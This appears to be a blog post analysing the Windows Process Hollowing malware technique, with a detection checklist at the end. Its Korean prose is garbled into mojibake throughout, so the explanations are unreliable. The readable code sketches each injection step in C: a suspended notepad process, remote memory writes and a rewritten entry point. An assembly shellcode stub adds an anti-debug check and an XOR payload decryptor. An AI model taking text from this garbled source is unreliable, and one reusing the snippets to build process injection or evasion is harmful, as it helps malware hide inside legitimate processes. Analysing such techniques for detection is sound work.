Windows Process Hollowing์ ๋ด๋ถ ์ ์ด ํ๋ฆ ๋ฐ ์คํ/๋ ์ง์คํฐ ๋ณํ ๋ถ์
์ ์ฑ์ฝ๋์์ ๊ด๋ฒ์ํ๊ฒ ์ฌ์ฉ๋๋ Process Hollowing์ ๋ด๋ถ ๋์์ ๋ฆฌ๋ฒ์ฑ ๊ด์ ์์ ๋จ๊ณ๋ณ๋ก ๋ถ์ํจ.
๋ฆฌ๋ฒ์ฑ ๊ธฐ๋ก
1. Process Hollowing ๊ฐ์
Process Hollowing์ ๋ค์๊ณผ ๊ฐ์ ๊ณ ์ ์ ์ธ์ ์ ์ ์ฐจ๋ฅผ ๋ฐ๋ฆ:
- ์ ์ ํ๋ก์ธ์ค๋ฅผ Suspended ์ํ๋ก ์์ฑ
- ์์ฑ๋ ํ๋ก์ธ์ค์ ๋ฉ๋ชจ๋ฆฌ ์์ญ(Unmap Section) ๋น์ฐ๊ธฐ
- ์ ์ฑ ํ์ด๋ก๋์ PE ํค๋ ๋ฐ ์น์ ์ ์ ์ฃผ์ ๊ณต๊ฐ์ ์๋ ๋งคํ
- ํ๋ก์ธ์ค ์ค๋ ๋ ์ปจํ ์คํธ(EIP/RIP) ๋ฅผ ์๋ก์ด Entry Point๋ก ๋ณ๊ฒฝ
- ์ค๋ ๋ ์ฌ๊ฐ
์ด ๋ฐฉ์์ ์ฅ์ :
- ์ธ๋ถ์์ ๋ณด๋ฉด ์ ์ ํ๋ก์ธ์ค ์ด๋ฆ์ ์ ์ง
- IAT ํํนยทDLL Injection๋ณด๋ค ํ์ง ์ง์ ์ด ์ ์
- ์ด๋ฏธ์ง ๊ฒฝ๋ก/๋ช ๋ น์ค/์๋ช ๋ชจ๋ ์ ์์ผ๋ก ๋ณด์
2. Suspended ํ๋ก์ธ์ค ์์ฑ (C)
// ๋น์คํ ๊ฐ๋
์ฝ๋ โ Suspended Process ์์ฑ
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
๋ถ์ ํฌ์ธํธ:
CREATE_SUSPENDEDํ๋๊ทธ๋ก ์ ์ค๋ ๋๊ฐ ์คํ๋๊ธฐ ์ ์ ์ปจํ ์คํธ๋ฅผ ์ถ์ถ ๊ฐ๋ฅpi.hThreadโ CONTEXT ๊ตฌ์กฐ ํ์ธ- ์
์ฑ์ฝ๋๋ ์ดํ
GetThreadContext๋ก ๋ ์ง์คํฐ ๊ฐ์ ์ฝ์ด ์ง์ ์ ์กฐ์์ ์ฌ์ฉ
3. ์๋ณธ ์ด๋ฏธ์ง ์ ๊ฑฐ(Unmap) Assembly ์์
์ค์ ์ํ์ NtUnmapViewOfSection์ ๋์ API ํ๋์ผ๋ก ํธ์ถํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์.
; ํธ์ถ ์ : EAX โ ํจ์ ์ฃผ์, ECX/EDX โ ํ๋ผ๋ฏธํฐ
; ์์
push processHandle
push baseAddress
call eax ; eax = NtUnmapViewOfSection
; ๋ฐํ๊ฐ ํ์ธ
test eax, eax
jnz UNMAP_FAILED
๋ ์ง์คํฐ ํ๋ฆ ๊ด์ฐฐ ํฌ์ธํธ:
call eaxํจํด์ ๋์ API ํด์ ๋ฃจํด์ด ์ฑ๊ณต์ ์ผ๋ก ์ฃผ์๋ฅผ ์ฐพ์ ๋ค ์ฌ์ฉbaseAddress๋ PEB์ ImageBaseAddress ๋๋ ์ปจํ ์คํธ Ebx/ Rdx ๋ฑ์์ ํ๋
4. ์ ์ฑ ์ด๋ฏธ์ง ๋งคํ โ ์๋ PE ๋ก๋ฉ(C)
์๋ ์ฝ๋๋ ๊ตฌ์กฐ ์ค๋ช ์ ์ํด ๋จ์ํํ ์์.
// ๊ฐ๋
์ ๋งคํ ๊ตฌ์กฐ
LPVOID remoteBase = VirtualAllocEx(
pi.hProcess,
(LPVOID)payloadImageBase,
payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// PE Header ๋ณต์ฌ
WriteProcessMemory(
pi.hProcess,
remoteBase,
payloadBuffer,
payloadHeadersSize,
NULL
);
// Section ๋ฃจํ ๋ณต์ฌ
for (int i=0; i<sectionCount; i++) {
WriteProcessMemory(
pi.hProcess,
(LPVOID)((SIZE_T)remoteBase + section[i].VirtualAddress),
payloadBuffer + section[i].PointerToRawData,
section[i].SizeOfRawData,
NULL
);
}
๋ถ์ ๊ด์ :
- ์ธ์ ์
ํ์ด๋ก๋๊ฐ โfile-backed imageโ๊ฐ ์๋ โmemory-backed imageโ์ด๋ฏ๋ก
๋ชจ๋ ๋ฆฌ์คํธ์ ํ์๋์ง ์์ ํ์ง๊ฐ ์ด๋ ค์ - PE ๊ตฌ์กฐ ํ์ฑ(์ด๋ฏธ์ง๋ฒ ์ด์ค, ์น์ RVA, ์ ๋ ฌ ๊ฐ)์ด ์ ํํ ์ผ์นํด์ผ ์ ์ ์๋
5. ์ง์ ์ (EIP/RIP) ์ฌ์ค์ โ CONTEXT ๋ณ์กฐ
// ๋น์คํ ์์ โ Entry Point ๋ณ๊ฒฝ
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// x86
ctx.Eip = (DWORD)((SIZE_T)remoteBase + payloadEntryRVA);
// x64
// ctx.Rip = ...
SetThreadContext(pi.hThread, &ctx);
๋ ์ง์คํฐ ๋ณํ ๊ด์ฐฐ:
GetThreadContextํ EIP/RIP ๊ฐ์ ์๋ notepad.exe์ Entry Point- ์ ์ฑ์ฝ๋๊ฐ ์ด ๊ฐ์ ์๋ก์ด PE Entry Address๋ก ๋ณ๊ฒฝ
- ์ดํ
ResumeThread๋ก ์คํ๋๋ ์ค๋ ๋๋ ์์ ํ ๋ค๋ฅธ ์ฝ๋ ํ๋ฆ ์ํ
6. Shellcode Pre-Staging ํจํด(Assembly)
์ผ๋ถ ์
์ฑ์ฝ๋๋ ์ ๋ขฐ๋ ํฅ์์ ์ํด Entry Point์ Shellcode Stub์ ๋๊ณ
๊ทธ Stub ์์์ ์ถ๊ฐ ํ๊ฒฝ ์ฒดํฌ ๋ฐ Anti-Debug ์ํ ํ ๋ฉ์ธ ํ์ด๋ก๋๋ก ์ ํํจ.
; ๋น์คํ ์์ โ Shellcode Stub
SHELL_STUB:
pushad
pushfd
mov eax, fs:[0x30] ; PEB
mov al, [eax+0x02] ; BeingDebugged
test al, al
jnz DEBUG_PATH
; ๊ฐ๋จํ XOR ๋ณตํธํ ๋ฃจํด
mov esi, [encryptedPayload]
mov ecx, payloadSize
XOR_LOOP:
xor byte ptr [esi], 0x5A
inc esi
loop XOR_LOOP
popfd
popad
jmp DECRYPTED_ENTRY
์์ :
- Shellcode๋ ๋งค์ฐ ์์ ๊ณต๊ฐ์์ ํ๊ฒฝ ์ฒดํฌ + ๋ณตํธํ + ์ ํ๊น์ง ์ฒ๋ฆฌ
- PEB BeingDebugged ํ๋๊ทธ ํ์ธ โ ์ ์ฑ์ฝ๋์ ๊ณ ์ ์ anti-debug ๋ฃจํด
- XOR decrypt ๋ฃจํ๋ ์คํ/๋ ์ง์คํฐ ์กฐ์ ์์ด ๊ฐ๋จํ๊ฒ ๊ตฌํ๋๋ ํจํด
7. โHollowing Signatureโ ํ์ง ์ฒดํฌ๋ฆฌ์คํธ
์ค์ Process Hollowing์ ํ๋ณํ๋ ์ฃผ์ ์งํ๋ ๋ค์๊ณผ ๊ฐ์.
| ๊ตฌ๋ถ | ํ์ง ์งํ |
|---|---|
| ํ๋ก์ธ์ค ๊ตฌ์กฐ | Suspended ์ํ์์ ์์๋จ |
| ๋ฉ๋ชจ๋ฆฌ ๋งคํ | ImageBaseAddress๊ฐ ์๋ณธ๊ณผ ๋ถ์ผ์น |
| ์น์ ๊ฒ์ฌ | PE ์น์ ์ด ํ์ผ๊ณผ ๋ฉ๋ชจ๋ฆฌ์์ ๋ค๋ฅด๊ฒ ๋ํ๋จ |
| ์ฐ๊ธฐ ํจํด | ํฐ ์ฐ์ WriteProcessMemory ํธ์ถ ํ์ |
| ์ค๋ ๋ ์ปจํ ์คํธ | Entry Point ๋ ์ง์คํฐ(EIP/RIP)๊ฐ ์ ์ ์ด๋ฏธ์ง ๋ฒ์ ์ธ๋ถ |
| ๋ชจ๋ ๋ฆฌ์คํธ | ๋ก๋๋ ์ด๋ฏธ์ง๊ฐ ์ ์ EXE์ง๋ง ๋ด๋ถ ์ฝ๋๋ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ |
8. ์ ์ด ํ๋ฆ ์์ฝ (์ ์ฒด ํ๋ก์ฐ)
CreateProcessA(..., CREATE_SUSPENDED)GetThreadContextโ EIP/RIP ์ถ์ถNtUnmapViewOfSection๋ก ์๋ณธ ์ด๋ฏธ์ง ์ ๊ฑฐVirtualAllocEx๋ก ์๋ก์ด ImageBase ํ๋ณด- ํค๋ ๋ฐ ์น์ ์๋ ๋งคํ (PE ๊ตฌ์กฐ ๊ธฐ๋ฐ)
- EntryPoint๋ฅผ ์ ์ฃผ์๋ก SetThreadContext
ResumeThread๋ก ์คํ ํ๋ฆ ์ ํ- Shellcode Stub โ Anti-debug โ ๋ณตํธํ โ ๋ฉ์ธ ์คํ
๋ชจ๋ ๋จ๊ณ๋ฅผ ํตํด ์ ์ ํ๋ก์ธ์ค๊ฐ ์์ ํ ๋ค๋ฅธ ๋ฐ์ด๋๋ฆฌ๋ก โ์์ด ๋น์์ง๊ณ ๊ต์ฒดโ๋จ.
โจ ๋ง๋ฌด๋ฆฌ ํ ์ค
Process Hollowing์ โํ๋ก์ธ์ค๋ฅผ ์คํํ์ง ์๊ณ ๋จผ์ ๋น๋ ค์จ ๋ค ๋ด๋ถ๋ฅผ ์์ ํ ๊ต์ฒดํ๋ ๋ฐฉ์โ์ด๋ฉฐ,
์ด ๋ฏธ์ธํ ๊ต์ฒด ๊ณผ์ ์ ๋ ์ง์คํฐ/๋ฉ๋ชจ๋ฆฌ์ ์์ ๋ณํ๋ฅผ ์ฝ์ด๋ด๋ ๋ฅ๋ ฅ์ด ํต์ฌ ์ญ๋์ผ๋ก ์ด์ด์ง๋ค.
๐ Written by Code & Compass